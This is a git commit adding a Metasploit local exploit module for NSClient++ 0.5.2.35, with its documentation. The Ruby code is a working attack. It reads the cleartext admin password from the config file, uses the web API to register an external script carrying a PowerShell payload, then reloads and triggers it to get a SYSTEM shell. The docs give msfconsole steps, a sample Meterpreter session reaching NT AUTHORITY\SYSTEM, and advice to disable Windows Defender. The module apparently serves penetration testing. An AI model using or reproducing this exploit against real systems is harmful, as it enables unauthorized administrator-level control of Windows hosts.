intial commit
This commit is contained in:
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
|
||||
For this module to work, both web interface of NSClient++ and `ExternalScripts` feature should be enabled.
|
||||
You must also know where is the NSClient config file as it is used to read the admin password which is stored in clear text.
|
||||
|
||||
### Installation
|
||||
|
||||
A vulnerable version of NSClient++ can be downloaded from [here]https://nsclient.org/download/). Then you can help yourself with
|
||||
this [installation guide](https://docs.nsclient.org/api/rest/) to complete the installation. Don't forget to enable the web interface
|
||||
and the `ExternalScripts` feature to allow the exploit to work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/windows/local/nscp_pe`
|
||||
3. `set SESSION <session>`
|
||||
4. `set FILE <NSCP_config_file>` if the NSCP config file is not `C:\Program Files\NSClient++\nsclient.ini`
|
||||
5. `check` to check if the targeted NSClient++ is vulnerable
|
||||
6. `set payload <choose_a_payload>` to set a specific payload to send
|
||||
7. `run` the module to exploit the vulnerability, gain admin access and start a shell
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
|
||||
Set the config file of NSClient++. If you don't know, try with the default value.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module was successfully tested on Windows 10 Home (you may need to disable Windows Defender as msf payload could be spotted).
|
||||
See the following output :
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
12 meterpreter x64/windows DESKTOP-T5N69RR\basic_user @ DESKTOP-T5N69RR 172.18.15.143:4444 -> 172.18.15.142:64307 (172.18.15.142)
|
||||
|
||||
|
||||
msf6 exploit(nscp_pe) > set session 12
|
||||
session => 12
|
||||
msf6 exploit(nscp_pe) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module (incompatible session type: meterpreter)
|
||||
[*] Started reverse TCP handler on x.x.x.x:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[+] Admin password found : easypassword
|
||||
[+] NSClient web interface is enabled !
|
||||
[+] The target is vulnerable. External scripts feature enabled !
|
||||
[+] Admin password found : easypassword
|
||||
[+] NSClient web interface is enabled !
|
||||
[*] Configuring Script with Specified Payload . . .
|
||||
[*] Added External Script (name: lrawsiaajn)
|
||||
[*] Saving Configuration . . .
|
||||
[*] Reloading Application . . .
|
||||
[*] Waiting for Application to reload . . .
|
||||
[*] Triggering payload, should execute shortly . . .
|
||||
[*] Sending stage (200262 bytes) to y.y.y.y
|
||||
[*] Meterpreter session 13 opened (x.x.x.x:4444 -> y.y.y.y:64309) at 2021-06-09 14:37:10 +0200
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
@@ -0,0 +1,239 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include ::Msf::Exploit::Powershell
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'NSClient++ 0.5.2.35 - Priviledge',
|
||||
'Description' => %q{
|
||||
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
|
||||
For this module to work, both web interface of NSClient++ and `ExternalScripts` feature should be enabled.
|
||||
You must also know where is the NSClient config file as it is used to read the admin password which is stored in clear text.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[ # This module is kind of mix of the two following POCs :
|
||||
'kindredsec', # POC on www.exploit-db.com
|
||||
'BZYO', # POC on www.exploit-db.com
|
||||
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '48360'],
|
||||
['EDB', '46802']
|
||||
],
|
||||
'Platform' => %w[windows],
|
||||
'Arch' => [ARCH_X64],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows',
|
||||
{
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :windows_powershell
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => '2020-10-20',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
},
|
||||
'DefaultOptions' => { 'SSL' => true, 'RHOSTS' => 'DOESNT_MATTER', 'RPORT' => 8443 }
|
||||
)
|
||||
)
|
||||
|
||||
register_options [
|
||||
OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini'])
|
||||
]
|
||||
end
|
||||
|
||||
def rhost
|
||||
session.session_host
|
||||
end
|
||||
|
||||
def configure_payload(token, cmd, key)
|
||||
print_status('Configuring Script with Specified Payload . . .')
|
||||
|
||||
plugin_id = rand(1..10000).to_s
|
||||
|
||||
node = {
|
||||
'path' => '/settings/external scripts/scripts',
|
||||
'key' => key
|
||||
}
|
||||
value = { 'string_data' => cmd }
|
||||
update = { 'node' => node, 'value' => value }
|
||||
payload = [
|
||||
{
|
||||
'plugin_id' => plugin_id,
|
||||
'update' => update
|
||||
}
|
||||
]
|
||||
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }
|
||||
|
||||
r = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'data' => JSON.generate(json_data),
|
||||
'headers' => { 'TOKEN' => token },
|
||||
'uri' => normalize_uri('/settings/query.json')
|
||||
})
|
||||
|
||||
if !(r&.body.to_s.include? 'STATUS_OK')
|
||||
print_error('Error configuring payload. Hit error at: ' + endpoint)
|
||||
end
|
||||
|
||||
print_status('Added External Script (name: ' + key + ')')
|
||||
sleep(3)
|
||||
print_status('Saving Configuration . . .')
|
||||
header = { 'version' => '1' }
|
||||
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
|
||||
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'data' => JSON.generate(json_data),
|
||||
'headers' => { 'TOKEN' => token },
|
||||
'uri' => normalize_uri('/settings/query.json')
|
||||
})
|
||||
end
|
||||
|
||||
def reload_config(token)
|
||||
print_status('Reloading Application . . .')
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'headers' => { 'TOKEN' => token },
|
||||
'uri' => normalize_uri('/core/reload')
|
||||
})
|
||||
|
||||
print_status('Waiting for Application to reload . . .')
|
||||
sleep(10)
|
||||
response = false
|
||||
count = 0
|
||||
until response
|
||||
begin
|
||||
sleep(2)
|
||||
r = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'headers' => { 'TOKEN' => token },
|
||||
'uri' => normalize_uri('/')
|
||||
})
|
||||
if !r.body.empty?
|
||||
response = true
|
||||
end
|
||||
rescue StandardError
|
||||
count += 1
|
||||
if count > 10
|
||||
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_payload(token, key)
|
||||
print_status('Triggering payload, should execute shortly . . .')
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'headers' => { 'TOKEN' => token },
|
||||
'uri' => normalize_uri("/query/#{key}")
|
||||
})
|
||||
rescue StandardError
|
||||
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
|
||||
end
|
||||
|
||||
def external_scripts_feature_enabled?(token)
|
||||
r = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'headers' => { 'TOKEN' => token },
|
||||
'uri' => normalize_uri('/registry/control/module/load'),
|
||||
'vars_get' => { 'name' => 'CheckExternalScripts' }
|
||||
})
|
||||
|
||||
r&.body.to_s.include? 'STATUS_OK'
|
||||
end
|
||||
|
||||
def get_auth_token(pwd)
|
||||
r = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/auth/token?password=' + pwd)
|
||||
})
|
||||
|
||||
if r.code == 200
|
||||
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
|
||||
return auth_token
|
||||
end
|
||||
rescue StandardError => e
|
||||
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
|
||||
end
|
||||
|
||||
def get_arg(line)
|
||||
line.split('=')[1].gsub(/\s+/, '')
|
||||
end
|
||||
|
||||
def leak_info
|
||||
a = read_file(datastore['FILE']).split("\n")
|
||||
pwd = nil
|
||||
web_server_enabled = false
|
||||
|
||||
a.each do |x|
|
||||
if x =~ /password/
|
||||
pwd = get_arg(x)
|
||||
print_good("Admin password found : #{pwd}")
|
||||
elsif x =~ /WEBServer/
|
||||
if x =~ /enabled/
|
||||
web_server_enabled = true
|
||||
print_good('NSClient web interface is enabled !')
|
||||
end
|
||||
end
|
||||
end
|
||||
return pwd, web_server_enabled
|
||||
end
|
||||
|
||||
def check
|
||||
pwd, web_server_enabled = leak_info
|
||||
if pwd.nil?
|
||||
CheckCode::Unknown('Admin password not found in config file')
|
||||
elsif !web_server_enabled
|
||||
CheckCode::Safe('NSClient web interface is disabled')
|
||||
else
|
||||
token = get_auth_token(pwd)
|
||||
if token.nil?
|
||||
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
|
||||
elsif external_scripts_feature_enabled?(token)
|
||||
CheckCode::Vulnerable('External scripts feature enabled !')
|
||||
else
|
||||
CheckCode::Safe('External scripts feature disabled !')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
pwd, _web_server_enabled = leak_info
|
||||
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
|
||||
token = get_auth_token(pwd)
|
||||
|
||||
if token
|
||||
rand_key = rand_text_alpha_lower(10)
|
||||
configure_payload(token, cmd, rand_key)
|
||||
reload_config(token)
|
||||
token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
|
||||
trigger_payload(token, rand_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user